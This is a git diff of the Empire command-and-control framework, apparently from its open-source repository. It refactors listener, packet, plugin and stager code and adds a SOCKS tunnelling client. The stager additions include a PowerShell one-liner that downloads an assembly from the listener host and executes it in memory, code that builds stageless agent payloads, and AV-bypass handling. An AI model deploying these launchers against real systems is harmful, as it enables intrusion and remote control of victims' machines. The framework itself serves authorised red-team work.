- # retrieve the listener module for this listener name
- activeListenerModuleName = self.activeListeners[listenerName]["moduleName"]
- activeListenerModule = self.loadedListeners[activeListenerModuleName]
-
- if activeListenerModuleName == "redirector":
- print(
- helpers.color(
- "[!] skipping redirector listener %s. Start/Stop actions can only initiated by the user."
- % (listenerName)
- )
- )
- continue
-
- # signal the listener module to shut down the thread for this particular listener instance
- activeListenerModule.shutdown(name=listenerName)
-
- # remove the listener object from the internal cache
- del self.activeListeners[listenerName]
-
- def disable_listener(self, listener_name):
- """
- Wrapper for shutdown_listener(), also marks listener as 'disabled' so it won't autostart
- """
- active_listener_module_name = self.activeListeners[listener_name]["moduleName"]
-
- listener = (
- Session()
- .query(models.Listener)
- .filter(
- and_(
- models.Listener.name == listener_name.lower(),
- models.Listener.module != "redirector",
- )
- )
- .first()
- )
- listener.enabled = False
-
- self.shutdown_listener(listener_name)
- Session().commit()
-
- # dispatch this event
- message = "[*] Listener {} disabled".format(listener_name)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/{}/{}".format(active_listener_module_name, listener_name),
- )
-
def is_listener_valid(self, name):
- return name in self.activeListeners
-
- def is_loaded_listener_valid(self, name):
- return name in self.loadedListeners
-
- def get_listener_id(self, name):
- """
- Resolve a name to listener ID.
- """
- results = (
- Session()
- .query(models.Listener.id)
- .filter(or_(models.Listener.name == name, models.Listener.id == name))
- .first()
+ warnings.warn(
+ "This has been deprecated and may be removed. Use listener_service.get_active_listener_by_name().",
+ DeprecationWarning,
)
-
- if results:
- return results[0]
- else:
- return None
-
- def get_listener_name(self, listener_id):
- """
- Resolve a listener ID to a name.
- """
- results = (
- Session()
- .query(models.Listener.name)
- .filter(
- or_(
- models.Listener.name == listener_id,
- models.Listener.id == listener_id,
- )
- )
- .first()
- )
-
- if results:
- return results[0]
- else:
- return None
-
- def get_listener_module(self, listener_name):
- """
- Resolve a listener name to the module used to instantiate it.
- """
- results = (
- Session()
- .query(models.Listener.module)
- .filter(models.Listener.name == listener_name)
- .first()
- )
-
- if results:
- return results[0]
- else:
- return None
-
- def get_listener_names(self):
- """
- Return all current listener names.
- """
- return list(self.activeListeners.keys())
-
- def get_inactive_listeners(self):
- """
- Returns any listeners that are not currently running
- """
- db_listeners = (
- Session()
- .query(models.Listener)
- .filter(models.Listener.enabled == False)
- .all()
- )
-
- inactive_listeners = {}
- for listener in db_listeners:
- inactive_listeners[listener["name"]] = {
- "moduleName": listener["module"],
- "options": listener["options"],
- }
-
- return inactive_listeners
-
- def update_listener_options(self, listener_name, option_name, option_value):
- """
- Updates a listener option in the database
- """
- listener = (
- Session()
- .query(models.Listener)
- .filter(models.Listener.name == listener_name)
- .first()
- )
-
- if not listener:
- print(helpers.color("[!] Listener %s not found" % listener_name))
- return False
- if option_name not in list(listener.options.keys()):
- print(
- helpers.color(
- "[!] Listener %s does not have the option %s"
- % (listener_name, option_name)
- )
- )
- return False
- listener.options[option_name]["Value"] = option_value
- flag_modified(listener, "options")
- Session().commit()
- return True
+ return self.mainMenu.listenersv2.get_active_listener_by_name(name) is not None
diff --git a/empire/server/common/messages.py b/empire/server/common/messages.py
deleted file mode 100644
index a0f491117..000000000
--- a/empire/server/common/messages.py
+++ /dev/null
@@ -1,110 +0,0 @@
-"""
-
-Common terminal messages used across Empire.
-
-Titles, agent displays, listener displays, etc.
-
-"""
-from __future__ import absolute_import, print_function
-
-import os
-import textwrap
-import time
-from builtins import range, str
-
-# Empire imports
-from . import helpers
-
-
-def wrap_string(data, width=40, indent=32, indentAll=False, followingHeader=None):
- """
- Print a option description message in a nicely
- wrapped and formatted paragraph.
-
- followingHeader -> text that also goes on the first line
- """
-
- data = str(data)
-
- if len(data) > width:
- lines = textwrap.wrap(textwrap.dedent(data).strip(), width=width)
-
- if indentAll:
- returnString = " " * indent + lines[0]
- if followingHeader:
- returnString += " " + followingHeader
- else:
- returnString = lines[0]
- if followingHeader:
- returnString += " " + followingHeader
- i = 1
- while i < len(lines):
- returnString += "\n" + " " * indent + (lines[i]).strip()
- i += 1
- return returnString
- else:
- return data.strip()
-
-
-def wrap_columns(col1, col2, width1=24, width2=40, indent=31):
- """
- Takes two strings of text and turns them into nicely formatted column output.
-
- Used by display_module()
- """
-
- lines1 = textwrap.wrap(textwrap.dedent(col1).strip(), width=width1)
- lines2 = textwrap.wrap(textwrap.dedent(col2).strip(), width=width2)
-
- result = ""
-
- limit = max(len(lines1), len(lines2))
-
- for x in range(limit):
-
- if x < len(lines1):
- if x != 0:
- result += " " * indent
- result += "{line: <0{width}s}".format(width=width1, line=lines1[x])
- else:
- if x == 0:
- result += " " * width1
- else:
- result += " " * (indent + width1)
-
- if x < len(lines2):
- result += " " + "{line: <0{width}s}".format(width=width2, line=lines2[x])
-
- if x != limit - 1:
- result += "\n"
-
- return result
-
-
-def display_agent(agent, returnAsString=False):
- """
- Display an agent all nice-like.
- Takes in the tuple of the raw agent database results.
- """
-
- if returnAsString:
- agentString = "\n[*] Agent info:\n"
- for key, value in agent.items():
- if key != "functions" and key != "takings" and key != "results":
- agentString += " %s\t%s\n" % (
- "{0: <16}".format(key),
- wrap_string(value, width=70),
- )
- return agentString + "\n"
- else:
- print(helpers.color("\n[*] Agent info:\n"))
- for key, value in agent.items():
- if key != "functions" and key != "takings" and key != "results":
- print(
- "\t%s\t%s"
- % (
- helpers.color("{0: <16}".format(key), "blue"),
- wrap_string(value, width=70),
- )
- )
- print("")
diff --git a/empire/server/common/packets.py b/empire/server/common/packets.py
index 10acccf6e..1384058a1 100644
--- a/empire/server/common/packets.py
+++ b/empire/server/common/packets.py
@@ -61,16 +61,16 @@
from __future__ import absolute_import
import base64
-import json
+import logging
import os
import struct
import sys
-from pydispatch import dispatcher
-
-# Empire imports
from . import encryption
+log = logging.getLogger(__name__)
+
+
# 0 -> error
# 1-99 -> standard functionality
# 100-199 -> dynamic functionality
@@ -100,6 +100,8 @@
"TASK_CSHARP": 44, # todo: move to 116/117
"TASK_GETJOBS": 50,
"TASK_STOPJOB": 51,
+ "TASK_SOCKS": 60,
+ "TASK_SOCKS_DATA": 61,
# Agent Module Commands
"TASK_CMD_WAIT": 100,
"TASK_CMD_WAIT_SAVE": 101,
@@ -241,10 +243,8 @@ def parse_result_packet(packet, offset=0):
)
except Exception as e:
- message = "[!] parse_result_packet(): exception: {}".format(e)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="empire")
-
+ message = f"parse_result_packet(): exception: {e}"
+ log.error(message, exc_info=True)
return (None, None, None, None, None, None, None)
@@ -323,9 +323,7 @@ def parse_routing_packet(stagingKey, data):
offset = 0
# ensure we have at least the 20 bytes for a routing packet
if len(data) >= 20:
-
while True:
-
if len(data) - offset < 20:
break
@@ -337,7 +335,7 @@ def parse_routing_packet(stagingKey, data):
)
try:
sessionID = routingPacket[0:8].decode("UTF-8")
- except:
+ except Exception:
sessionID = routingPacket[0:8].decode("latin-1")
# B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long
@@ -345,11 +343,8 @@ def parse_routing_packet(stagingKey, data):
"=BBHL", routingPacket[8:]
)
if length < 0:
- message = (
- "[*] parse_agent_data(): length in decoded rc4 packet is < 0"
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="empire")
+ message = "parse_agent_data(): length in decoded rc4 packet is < 0"
+ log.warning(message)
encData = None
else:
encData = data[(20 + offset) : (20 + offset + length)]
@@ -370,17 +365,13 @@ def parse_routing_packet(stagingKey, data):
return results
else:
- message = "[*] parse_agent_data() data length incorrect: {}".format(
- len(data)
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="empire")
+ message = f"parse_agent_data() data length incorrect: {len(data)}"
+ log.warning(message)
return None
else:
- message = "[*] parse_agent_data() data is None"
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="empire")
+ message = "parse_agent_data() data is None"
+ log.warning(message)
return None
@@ -436,5 +427,5 @@ def resolve_id(PacketID):
"""
try:
return PACKET_IDS[int(PacketID)]
- except:
+ except Exception:
return PACKET_IDS[0]
diff --git a/empire/server/common/plugins.py b/empire/server/common/plugins.py
index e36711db3..ce0bf8d14 100644
--- a/empire/server/common/plugins.py
+++ b/empire/server/common/plugins.py
@@ -1,50 +1,31 @@
""" Utilities and helpers and etc. for plugins """
-from __future__ import print_function
-
-import importlib
+import logging
from builtins import object
-from importlib.machinery import SourceFileLoader
-from importlib.util import module_from_spec, spec_from_loader
-
-import empire.server.common.helpers as helpers
-
-
-def load_plugin(mainMenu, plugin_name, file_path):
- """Given the name of a plugin and a menu object, load it into the menu"""
- # note the 'plugins' package so the loader can find our plugin
- loader = importlib.machinery.SourceFileLoader(plugin_name, file_path)
- module = loader.load_module()
- plugin_obj = module.Plugin(mainMenu)
-
- for key, value in plugin_obj.options.items():
- if value.get("SuggestedValues") is None:
- value["SuggestedValues"] = []
- if value.get("Strict") is None:
- value["Strict"] = False
- mainMenu.loadedPlugins[plugin_name] = plugin_obj
+log = logging.getLogger(__name__)
class Plugin(object):
# to be overwritten by child
- description = "This is a description of this plugin."
-
def __init__(self, mainMenu):
# having these multiple messages should be helpful for debugging
# user-reported errors (can narrow down where they happen)
- print(helpers.color("[*] Initializing plugin..."))
# any future init stuff goes here
-
- print(helpers.color("[*] Doing custom initialization..."))
- # do custom user stuff
- self.onLoad()
-
- # now that everything is loaded, register functions and etc. onto the main menu
- print(helpers.color("[*] Registering plugin with menu..."))
- self.register(mainMenu)
-
- # Give access to main menu
- self.mainMenu = mainMenu
+ try:
+ # do custom user stuff
+ self.onLoad()
+ log.info(f"Initializing plugin: {self.info['Name']}")
+
+ # Register functions to the main menu
+ self.register(mainMenu)
+
+ # Give access to main menu
+ self.mainMenu = mainMenu
+ except Exception as e:
+ if self.info["Name"]:
+ log.error(f"{self.info['Name']} failed to initialize: {e}")
+ else:
+ log.error(f"Error initializing plugin: {e}")
def onLoad(self):
"""Things to do during init: meant to be overridden by
diff --git a/empire/server/common/pylnk.py b/empire/server/common/pylnk.py
index 949fd8db7..ab0bfe712 100644
--- a/empire/server/common/pylnk.py
+++ b/empire/server/common/pylnk.py
@@ -21,6 +21,8 @@
# not as clean as i wished
# cannibal: @theguly
+from __future__ import print_function
+
import re
import time
from builtins import chr, object, range, str
@@ -509,22 +511,22 @@ def __init__(self, bytes=None):
short_name_is_unicode = self.type.endswith("(UNICODE)")
self.file_size = read_int(buf)
self.modified = read_dos_datetime(buf)
- unknown = read_short(buf) # should be 0x10
+ _unknown = read_short(buf) # should be 0x10
if short_name_is_unicode:
self.short_name = read_cunicode(buf)
else:
self.short_name = read_cstring(buf, padding=True)
indicator_1 = read_short(buf) # see below
- only_83 = read_short(buf) < 0x03
- unknown = read_short(buf) # 0x04
+ _only_83 = read_short(buf) < 0x03
+ _unknown = read_short(buf) # 0x04
self.is_unicode = read_short(buf) == 0xBEEF
self.created = read_dos_datetime(buf)
self.accessed = read_dos_datetime(buf)
offset_unicode = read_short(buf)
- only_83_2 = offset_unicode >= indicator_1 or offset_unicode < 0x14
- offset_ansi = read_short(buf)
+ _only_83_2 = offset_unicode >= indicator_1 or offset_unicode < 0x14
+ _offset_ansi = read_short(buf)
self.full_name = read_cunicode(buf)
- offset_part2 = read_short(buf) # offset to byte after short name
+ _offset_part2 = read_short(buf) # offset to byte after short name
def create_for_path(cls, path):
entry = cls()
@@ -826,7 +828,7 @@ def _get_shell_item_id_list(self):
def _set_shell_item_id_list(self, shell_item_id_list):
self._shell_item_id_list = shell_item_id_list
- self.link_flags.has_shell_item_id_list = shell_item_id_list != None
+ self.link_flags.has_shell_item_id_list = shell_item_id_list is not None
shell_item_id_list = property(_get_shell_item_id_list, _set_shell_item_id_list)
@@ -835,8 +837,8 @@ def _get_link_info(self):
def _set_link_info(self, link_info):
self._link_info = link_info
- self.link_flags.force_no_link_info = link_info == None
- self.link_flags.has_link_info = link_info != None
+ self.link_flags.force_no_link_info = link_info is None
+ self.link_flags.has_link_info = link_info is not None
link_info = property(_get_link_info, _set_link_info)
@@ -845,7 +847,7 @@ def _get_description(self):
def _set_description(self, description):
self._description = description
- self.link_flags.has_description = description != None
+ self.link_flags.has_description = description is not None
description = property(_get_description, _set_description)
@@ -854,7 +856,7 @@ def _get_relative_path(self):
def _set_relative_path(self, relative_path):
self._relative_path = relative_path
- self.link_flags.has_relative_path = relative_path != None
+ self.link_flags.has_relative_path = relative_path is not None
relative_path = property(_get_relative_path, _set_relative_path)
@@ -863,7 +865,7 @@ def _get_work_dir(self):
def _set_work_dir(self, work_dir):
self._work_dir = work_dir
- self.link_flags.has_work_directory = work_dir != None
+ self.link_flags.has_work_directory = work_dir is not None
work_dir = working_dir = property(_get_work_dir, _set_work_dir)
@@ -872,7 +874,7 @@ def _get_arguments(self):
def _set_arguments(self, arguments):
self._arguments = arguments
- self.link_flags.has_arguments = arguments != None
+ self.link_flags.has_arguments = arguments is not None
arguments = property(_get_arguments, _set_arguments)
@@ -881,7 +883,7 @@ def _get_icon(self):
def _set_icon(self, icon):
self._icon = icon
- self.link_flags.has_icon = icon != None
+ self.link_flags.has_icon = icon is not None
icon = property(_get_icon, _set_icon)
@@ -889,7 +891,7 @@ def _get_window_mode(self):
return self._show_command
def _set_window_mode(self, value):
- if not value in list(_SHOW_COMMANDS.values()):
+ if value not in list(_SHOW_COMMANDS.values()):
raise ValueError(
"Not a valid window mode: %s. Choose any of pylnk.WINDOW_*" % value
)
diff --git a/empire/server/common/socks.py b/empire/server/common/socks.py
new file mode 100644
index 000000000..2a21e76d6
--- /dev/null
+++ b/empire/server/common/socks.py
@@ -0,0 +1,60 @@
+import base64
+import logging
+import queue
+from socket import socket
+
+from secretsocks import secretsocks
+
+log = logging.getLogger(__name__)
+
+
+def create_client(main_menu, q, session_id):
+ log.info("Creating SOCKS client...")
+ return EmpireSocksClient(main_menu, q, session_id)
+
+
+def start_client(client, port):
+ log.info("Starting SOCKS server...")
+ listener = secretsocks.Listener(client, host="127.0.0.1", port=port)
+ listener.wait()
+
+
+class EmpireSocksClient(secretsocks.Client):
+ # Initialize our data channel
+ def __init__(self, main_menu, q, session_id):
+ secretsocks.Client.__init__(self)
+ self.main_menu = main_menu
+ self.q = q
+ self.agent_task_service = main_menu.agenttasksv2
+ self.session_id = session_id
+ self.alive = True
+ self.start()
+
+ # Receive data from our data channel and push it to the receive queue
+ def recv(self):
+ while self.alive:
+ try:
+ data = self.q.get()
+ self.recvbuf.put(data)
+ except socket.timeout:
+ continue
+ except Exception:
+ self.alive = False
+
+ # Take data from the write queue and send it over our data channel
+ def write(self):
+ while self.alive:
+ try:
+ data = self.writebuf.get(timeout=10)
+ if data:
+ self.agent_task_service.create_task_socks_data(
+ self.session_id,
+ base64.b64encode(data).decode("UTF-8"),
+ )
+ except queue.Empty:
+ continue
+ except Exception:
+ self.alive = False
+
+ def shutdown(self):
+ self.alive = False
diff --git a/empire/server/common/stagers.py b/empire/server/common/stagers.py
index a7effb347..49b7d2f39 100755
--- a/empire/server/common/stagers.py
+++ b/empire/server/common/stagers.py
@@ -5,22 +5,20 @@
The Stagers() class in instantiated in ./server.py by the main menu and includes:
- load_stagers() - loads stagers from the install path
- set_stager_option() - sets and option for all stagers
generate_launcher() - abstracted functionality that invokes the generate_launcher() method for a given listener
generate_dll() - generates a PowerPick Reflective DLL to inject with base64-encoded stager code
generate_macho() - generates a macho binary with an embedded python interpreter that runs the launcher code
generate_dylib() - generates a dylib with an embedded python interpreter and runs launcher code when loaded into an application
"""
-from __future__ import absolute_import, division, print_function
+from __future__ import absolute_import, division
import base64
import errno
-import fnmatch
-import importlib.util
+import logging
import os
import shutil
+import string
import subprocess
import zipfile
from builtins import chr, object, str, zip
@@ -28,118 +26,22 @@
import donut
import macholib.MachO
-import yaml
-from sqlalchemy import and_
-from empire.server.database import models
-from empire.server.database.base import Session
-from empire.server.utils.data_util import ps_convert_to_oneliner
+from empire.server.core.db import models
+from empire.server.core.db.base import SessionLocal
+from empire.server.utils import data_util
from empire.server.utils.math_util import old_div
from . import helpers
+log = logging.getLogger(__name__)
+
class Stagers(object):
def __init__(self, MainMenu, args):
-
self.mainMenu = MainMenu
self.args = args
- # stager module format:
- # [ ("stager_name", instance) ]
- self.stagers = {}
-
- self.load_bypasses()
- self.load_stagers()
-
- def load_bypasses(self):
- root_path = f"{self.mainMenu.installPath}/bypasses/"
-
- print(helpers.color(f"[*] Loading bypasses from: {root_path}"))
-
- for root, dirs, files in os.walk(root_path):
- for filename in files:
- if not filename.lower().endswith(
- ".yaml"
- ) and not filename.lower().endswith(".yml"):
- continue
-
- file_path = os.path.join(root, filename)
-
- # don't load up any of the templates
- if fnmatch.fnmatch(filename, "*template.yaml"):
- continue
-
- try:
- with open(file_path, "r") as stream:
- yaml2 = yaml.safe_load(stream)
- yaml_bypass = {k: v for k, v in yaml2.items() if v is not None}
-
- if (
- Session()
- .query(models.Bypass)
- .filter(models.Bypass.name == yaml_bypass["name"])
- .first()
- is None
- ):
- yaml_bypass["script"] = ps_convert_to_oneliner(
- yaml_bypass["script"]
- )
- my_model = models.Bypass(
- name=yaml_bypass["name"],
- code=yaml_bypass["script"],
- language=yaml_bypass["language"],
- )
- Session().add(my_model)
- Session().commit()
- except Exception as e:
- print(e)
-
- def load_stagers(self):
- """
- Load stagers from the install + "/stagers/*" path
- """
-
- rootPath = "%s/stagers/" % (self.mainMenu.installPath)
- pattern = "*.py"
-
- print(helpers.color("[*] Loading stagers from: %s" % (rootPath)))
-
- for root, dirs, files in os.walk(rootPath):
- for filename in fnmatch.filter(files, pattern):
- filePath = os.path.join(root, filename)
-
- # don't load up any of the templates
- if fnmatch.fnmatch(filename, "*template.py"):
- continue
-
- # extract just the module name from the full path
- stagerName = filePath.split("/stagers/")[-1][0:-3]
-
- # instantiate the module and save it to the internal cache
- spec = importlib.util.spec_from_file_location(stagerName, filePath)
- mod = importlib.util.module_from_spec(spec)
- spec.loader.exec_module(mod)
-
- stager = mod.Stager(self.mainMenu, [])
- for key, value in stager.options.items():
- if value.get("SuggestedValues") is None:
- value["SuggestedValues"] = []
- if value.get("Strict") is None:
- value["Strict"] = False
-
- self.stagers[stagerName] = stager
-
- def set_stager_option(self, option, value):
- """
- Sets an option for all stagers.
- """
-
- for name, stager in self.stagers.items():
- for stagerOption, stagerValue in stager.options.items():
- if stagerOption == option:
- stager.options[option]["Value"] = str(value)
-
def generate_launcher_fetcher(
self,
language=None,
@@ -164,7 +66,7 @@ def generate_launcher(
language=None,
encode=True,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
userAgent="default",
proxy="default",
proxyCreds="default",
@@ -176,44 +78,41 @@ def generate_launcher(
Abstracted functionality that invokes the generate_launcher() method for a given listener,
if it exists.
"""
- bypasses_parsed = []
- for bypass in bypasses.split(" "):
- bypass = (
- Session()
- .query(models.Bypass)
- .filter(models.Bypass.name == bypass)
- .first()
+ with SessionLocal.begin() as db:
+ bypasses_parsed = []
+ for bypass in bypasses.split(" "):
+ bypass = (
+ db.query(models.Bypass).filter(models.Bypass.name == bypass).first()
+ )
+ if bypass:
+ if bypass.language == language:
+ bypasses_parsed.append(bypass.code)
+ else:
+ log.warning(f"Invalid bypass language: {bypass.language}")
+
+ db_listener = self.mainMenu.listenersv2.get_by_name(db, listenerName)
+ active_listener = self.mainMenu.listenersv2.get_active_listener(
+ db_listener.id
)
- if bypass:
- if bypass.language == language:
- bypasses_parsed.append(bypass.code)
- else:
- print(
- helpers.color(f"[!] Invalid bypass language: {bypass.language}")
- )
-
- if not listenerName in self.mainMenu.listeners.activeListeners:
- print(helpers.color("[!] Invalid listener: %s" % (listenerName)))
- return ""
+ if not active_listener:
+ log.error(f"Invalid listener: {listenerName}")
+ return ""
- activeListener = self.mainMenu.listeners.activeListeners[listenerName]
- launcherCode = self.mainMenu.listeners.loadedListeners[
- activeListener["moduleName"]
- ].generate_launcher(
- encode=encode,
- obfuscate=obfuscate,
- obfuscationCommand=obfuscationCommand,
- userAgent=userAgent,
- proxy=proxy,
- proxyCreds=proxyCreds,
- stagerRetries=stagerRetries,
- language=language,
- listenerName=listenerName,
- safeChecks=safeChecks,
- bypasses=bypasses_parsed,
- )
- if launcherCode:
- return launcherCode
+ launcher_code = active_listener.generate_launcher(
+ encode=encode,
+ obfuscate=obfuscate,
+ obfuscation_command=obfuscation_command,
+ userAgent=userAgent,
+ proxy=proxy,
+ proxyCreds=proxyCreds,
+ stagerRetries=stagerRetries,
+ language=language,
+ listenerName=listenerName,
+ safeChecks=safeChecks,
+ bypasses=bypasses_parsed,
+ )
+ if launcher_code:
+ return launcher_code
def generate_dll(self, poshCode, arch):
"""
@@ -231,7 +130,6 @@ def generate_dll(self, poshCode, arch):
)
if os.path.isfile(origPath):
-
dllRaw = ""
with open(origPath, "rb") as f:
dllRaw = f.read()
@@ -250,9 +148,7 @@ def generate_dll(self, poshCode, arch):
return dllPatched
else:
- print(
- helpers.color("[!] Original .dll for arch %s does not exist!" % (arch))
- )
+ log.error(f"Original .dll for arch {arch} does not exist!")
def generate_powershell_exe(
self, posh_code, dot_net_version="net40", obfuscate=False
@@ -263,12 +159,18 @@ def generate_powershell_exe(
with open(self.mainMenu.installPath + "/stagers/CSharpPS.yaml", "rb") as f:
stager_yaml = f.read()
stager_yaml = stager_yaml.decode("UTF-8")
- posh_code = base64.b64encode(posh_code.encode("UTF-16LE")).decode("UTF-8")
- stager_yaml = stager_yaml.replace("{{ REPLACE_LAUNCHER }}", posh_code)
- compiler = self.mainMenu.loadedPlugins.get("csharpserver")
+ # Write text file to resources to be embedded
+ with open(
+ self.mainMenu.installPath
+ + "/csharp/Covenant/Data/EmbeddedResources/launcher.txt",
+ "w",
+ ) as f:
+ f.write(posh_code)
+
+ compiler = self.mainMenu.pluginsv2.get_by_id("csharpserver")
if not compiler.status == "ON":
- print(helpers.color("[!] csharpserver plugin not running"))
+ log.error("csharpserver plugin not running")
else:
file_name = compiler.do_send_stager(
stager_yaml, "CSharpPS", confuse=obfuscate
@@ -294,6 +196,45 @@ def generate_powershell_shellcode(
shellcode = donut.create(file=directory, arch=arch_type)
return shellcode
+ def generate_exe_oneliner(
+ self, language, obfuscate, obfuscation_command, encode, listener_name
+ ):
+ """
+ Generate a oneliner for a executable
+ """
+ listener = self.mainMenu.listenersv2.get_active_listener_by_name(listener_name)
+ host = listener.options["Host"]["Value"]
+ launcher_front = listener.options["Launcher"]["Value"]
+
+ # Encoded launcher requires a sleep
+ launcher = f"""
+ $wc=New-Object System.Net.WebClient;
+ $bytes=$wc.DownloadData("{host}/download/{language}/");
+ $assembly=[Reflection.Assembly]::load($bytes);
+ $assembly.GetType("Program").GetMethod("Main").Invoke($null, $null);
+ """
+
+ if encode:
+ launcher += "Start-Sleep 5;"
+
+ # Remove comments and make one line
+ launcher = helpers.strip_powershell_comments(launcher)
+ launcher = data_util.ps_convert_to_oneliner(launcher)
+
+ if obfuscate:
+ launcher = self.mainMenu.obfuscationv2.obfuscate(
+ launcher,
+ obfuscation_command=obfuscation_command,
+ )
+ # base64 encode the stager and return it
+ if encode and (
+ (not obfuscate) or ("launcher" not in obfuscation_command.lower())
+ ):
+ return helpers.powershell_launcher(launcher, launcher_front)
+ else:
+ # otherwise return the case-randomized stager
+ return launcher
+
def generate_python_exe(
self, python_code, dot_net_version="net40", obfuscate=False
):
@@ -312,9 +253,9 @@ def generate_python_exe(
) as f:
f.write(python_code)
- compiler = self.mainMenu.loadedPlugins.get("csharpserver")
+ compiler = self.mainMenu.pluginsv2.get_by_id("csharpserver")
if not compiler.status == "ON":
- print(helpers.color("[!] csharpserver plugin not running"))
+ log.error("csharpserver plugin not running")
else:
file_name = compiler.do_send_stager(
stager_yaml, "CSharpPy", confuse=obfuscate
@@ -353,11 +294,7 @@ def generate_macho(self, launcherCode):
macho = macholib.MachO.MachO(f.name)
if int(macho.headers[0].header.filetype) != MH_EXECUTE:
- print(
- helpers.color(
- "[!] Macho binary template is not the correct filetype"
- )
- )
+ log.error("Macho binary template is not the correct filetype")
return ""
cmds = macho.headers[0].commands
@@ -383,7 +320,6 @@ def generate_macho(self, launcherCode):
template = f.read()
if placeHolderSz and offset:
-
key = "subF"
launcherCode = "".join(
chr(ord(x) ^ ord(y)) for (x, y) in zip(launcherCode, cycle(key))
@@ -396,7 +332,7 @@ def generate_macho(self, launcherCode):
return patchedMachO
else:
- print(helpers.color("[!] Unable to patch MachO binary"))
+ log.error("Unable to patch MachO binary")
def generate_dylib(self, launcherCode, arch, hijacker):
"""
@@ -434,7 +370,7 @@ def generate_dylib(self, launcherCode, arch, hijacker):
macho = macholib.MachO.MachO(f.name)
if int(macho.headers[0].header.filetype) != MH_DYLIB:
- print(helpers.color("[!] Dylib template is not the correct filetype"))
+ log.error("Dylib template is not the correct filetype")
return ""
cmds = macho.headers[0].commands
@@ -459,7 +395,6 @@ def generate_dylib(self, launcherCode, arch, hijacker):
f.close()
if placeHolderSz and offset:
-
launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode))
if isinstance(launcher, str):
launcher = launcher.encode("UTF-8")
@@ -469,17 +404,15 @@ def generate_dylib(self, launcherCode, arch, hijacker):
return patchedDylib
else:
- print(helpers.color("[!] Unable to patch dylib"))
+ log.error("Unable to patch dylib")
def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm):
-
"""
Generates an application. The embedded executable is a macho binary with the python interpreter.
"""
MH_EXECUTE = 2
if Arch == "x64":
-
f = open(
self.mainMenu.installPath
+ "/data/misc/apptemplateResources/x64/launcher.app/Contents/MacOS/launcher",
@@ -503,9 +436,7 @@ def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm):
macho = macholib.MachO.MachO(f.name)
if int(macho.headers[0].header.filetype) != MH_EXECUTE:
- print(
- helpers.color("[!] Macho binary template is not the correct filetype")
- )
+ log.error("Macho binary template is not the correct filetype")
return ""
cmds = macho.headers[0].commands
@@ -531,7 +462,6 @@ def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm):
f.close()
if placeHolderSz and offset:
-
launcher = launcherCode.encode("utf-8") + b"\x00" * (
placeHolderSz - len(launcherCode)
)
@@ -544,7 +474,7 @@ def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm):
tmpdir = "/tmp/application/%s.app/" % AppName
shutil.copytree(directory, tmpdir)
f = open(tmpdir + "Contents/MacOS/launcher", "wb")
- if disarm != True:
+ if disarm is not True:
f.write(patchedBinary)
f.close()
else:
@@ -645,12 +575,10 @@ def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm):
return zipbundle
else:
- print(helpers.color("[!] Unable to patch application"))
+ log.error("Unable to patch application")
def generate_pkg(self, launcher, bundleZip, AppName):
-
# unzip application bundle zip. Copy everything for the installer pkg to a temporary location
- currDir = os.getcwd()
os.chdir("/tmp/")
with open("app.zip", "wb") as f:
f.write(bundleZip)
@@ -778,3 +706,96 @@ def generate_upload(self, file, path):
script = script.replace("FILE_UPLOAD_FULL_PATH_GOES_HERE", path)
return script
+
+ def generate_stageless(self, options):
+ listener_name = options["Listener"]["Value"]
+ if options["Language"]["Value"] == "ironpython":
+ language = "python"
+ version = "ironpython"
+ else:
+ language = options["Language"]["Value"]
+ version = ""
+
+ active_listener = self.mainMenu.listenersv2.get_active_listener_by_name(
+ listener_name
+ )
+
+ chars = string.ascii_uppercase + string.digits
+ session_id = helpers.random_string(length=8, charset=chars)
+ staging_key = active_listener.options["StagingKey"]["Value"]
+ delay = active_listener.options["DefaultDelay"]["Value"]
+ jitter = active_listener.options["DefaultJitter"]["Value"]
+ profile = active_listener.options["DefaultProfile"]["Value"]
+ kill_date = active_listener.options["KillDate"]["Value"]
+ working_hours = active_listener.options["WorkingHours"]["Value"]
+ lost_limit = active_listener.options["DefaultLostLimit"]["Value"]
+ if "Host" in active_listener.options:
+ host = active_listener.options["Host"]["Value"]
+ else:
+ host = ""
+
+ with SessionLocal.begin() as db:
+ agent = self.mainMenu.agents.add_agent(
+ session_id,
+ "0.0.0.0",
+ delay,
+ jitter,
+ profile,
+ kill_date,
+ working_hours,
+ lost_limit,
+ listener=listener_name,
+ language=language,
+ db=db,
+ )
+
+ # update the agent with this new information
+ self.mainMenu.agents.update_agent_sysinfo_db(
+ db,
+ session_id,
+ listener=listener_name,
+ internal_ip="0.0.0.0",
+ username="blank\\blank",
+ hostname="blank",
+ os_details="blank",
+ high_integrity=0,
+ process_name="blank",
+ process_id=99999,
+ language_version=2,
+ language=language,
+ architecture="AMD64",
+ )
+
+ # get the agent's session key
+ session_key = agent.session_key
+
+ agent_code = active_listener.generate_agent(
+ active_listener.options, language=language, version=version
+ )
+ comms_code = active_listener.generate_comms(
+ active_listener.options, language=language
+ )
+
+ stager_code = active_listener.generate_stager(
+ active_listener.options, language=language, encrypt=False, encode=False
+ )
+
+ if options["Language"]["Value"] == "powershell":
+ launch_code = (
+ "\nInvoke-Empire -Servers @('%s') -StagingKey '%s' -SessionKey '%s' -SessionID '%s';"
+ % (host, staging_key, session_key, session_id)
+ )
+ full_agent = comms_code + "\n" + agent_code + "\n" + launch_code
+ return full_agent
+
+ elif options["Language"]["Value"] in ["python", "ironpython"]:
+ stager_code = stager_code.replace(
+ "b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8))",
+ f"b'{session_id}'",
+ )
+ stager_code = stager_code.split("clientPub=DiffieHellman()")[0]
+ stager_code = stager_code + f"\nkey = b'{session_key}'"
+ launch_code = ""
+
+ full_agent = "\n".join([stager_code, agent_code, launch_code])
+ return full_agent
diff --git a/empire/server/common/users.py b/empire/server/common/users.py
deleted file mode 100644
index 4ca5f4dd5..000000000
--- a/empire/server/common/users.py
+++ /dev/null
